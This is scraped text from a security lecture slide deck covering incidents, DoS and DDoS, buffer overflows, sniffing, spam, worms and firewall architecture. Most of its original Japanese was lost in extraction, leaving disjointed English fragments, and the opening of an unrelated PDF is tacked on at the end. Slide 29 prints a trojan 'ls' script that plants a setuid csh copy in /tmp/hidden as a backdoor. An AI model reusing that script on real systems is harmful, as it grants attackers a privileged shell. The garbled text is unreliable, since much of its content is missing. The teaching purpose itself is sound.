PDF

Size: px

Start display at page:

Download "2-20030509.PDF"

れいないんそん
7 years ago
Views:

1 JPCERT/CC 1

2 Firewall 2

3 Security Incident 3

4 Cgi-bin Cross Site Scripting (CSS) 4

5 3,000 2,500 2,000 1,500 1, Q Number of Reports 5

6 2002 JPCERT/CC 6

7 Port Scanning & Probe. Port scanning shellcode SPAM Denial of Services (DoS) DoS 7

8 48 bugtraq WWW IRC 8

9 DoS Excessive traffic / request generator WWW IRC Layer2 Public access 9

10 SPAM DoS Virus 10

11 Buffer Overflow Attack wuftp, Netscape Enterprise Server, Microsoft IIS,. (boundary check) Internet Worm (1988) 11

12 Buffer Overflow Attack Buffer ( ) Boundary Check 12

13 Buffer Overflow Attack Buffer 13

14 Buffer Overflow Attack Coding rule Code management process Testing process 14

15 DoS Denial of Service Attack IP Source IP address spoofing IP traceback 15

16 DDoS Distributed DoS Attack DoS : Yahoo CNN ebay, Amazon DDoS trinoo DDoS FBI ISP 16

17 DDoS Zombie trigger 17

18 DDoS (root DNS) root DNS server. DoS. 18

19 Smurf Attack 19

20 CodeRed Nimda 20

21 DoS WIDE Project 600Mbps 10 PC L3 DoS 21

22 Out-band Management L3SW/router Management Center 22

23 Out-band Management L3SW OS OS L3SW VLAN 23

24 Layer 2 Layer 2 Public access 24

25 MAC address MAC address filtering MAC address Layer 2 MAC Ethernet Ethernet L2 25

26 Layer 2 Layer2 MAC MAC address flooding 26

27 Layer 2. Layer 2 SW MAC SNMP 27

28 (shell) (malicious code) (backdoor) wuftp 28

29 PATH=.:/usr/ucb:/usr/bin:/bin % cat./ls #!/bin/sh cp /bin/csh /tmp/hidden/csh$$ chmod 4711 /tmp/hidden/csh$$ /bin/ls $* /bin/rm -f./ls 2>&1 > /dev/null % 29

30 root tcpdump (clear text) 30

31 ssh SSL/TLS Web E-Commerce IPsec VPN (Virtual Private Network) 2 e.g. 31

32 (3) Tapping Device Linux Ethernet Software Snooper Internet café Plathome Open Box, Internet café Firewall, DHCP server 32

33 , asahi.com Software snooper Keyboard Anonymous mail free mail) 2 33

34 Packet sniffer 34

35 /etc/passwd cracking software crack tuning Social Engineering Attack 35

36 Spoofing SPAM From Bombardment 36

37 SPAM SPAM (malicious code) SPAM Professional spammer SPAM / one-to-one marketing CAUCE ( 37

38 IP spoofing 38

39 Virus Love-Letter.txt CodeRed, CodeRed-II, Nimda, W32.Klez,. 39

40 OS Solaris sadmind buffer overflow sadimind Solaris Worm Worm Windows IIS IIS IIS 40

41 CodeRed 41

42 42

43 . End user computer.. 43

44 44

45 45

46 (audit) 46

47 Integrity management 47

48 CISO (Chief Information and Security Officer) CISO 48

49 HRM (Human Resource Management) and other RM Public Relations and Publicity activities. 49

50 50

51 51

52 Honeypot firewall Load splitting (DoS (DoS IDS, virus check,. Monitoring & analysis Out-band management 52

53 Wire-speed 1Gbps IPv6 dual stack architecture IDS false alert S/N IDS? 53

54 High performance FW (1) Quarantine zone L2 LB L2 SW L3 Routing (traffic marking) (10G bb) 54

55 High performance FW (2) Quarantine Quarantine Quarantine Honey pot Management Center 55

56 Multifunctional FW Firewall Intranet VPN/SSH gateway SMTP forwarder Other App. gateway 56

57 : IDS SMTP virus check WWW contents filtering monitoring (10G bb) 57

58 FW, IDS 58

59 Pass authenticated traffic only VPN demarcation point Internal demarcation (VPN) External network (Internet) VPN relay (non-vpn) 59

60 Out-band Management L3SW/router Management Center 60

61 61

62 ToDo items 62

suguru.PDF

suguru.PDF ThinkQuest2002 Suguru Yamaguchi (c) 2002 1 ThinkQuest2002 Suguru Yamaguchi (c) 2002 2 Internet: Global and Ubiquitous Infrastructure for Communication Society Internet Technology CATV Cable Modem TCP/IP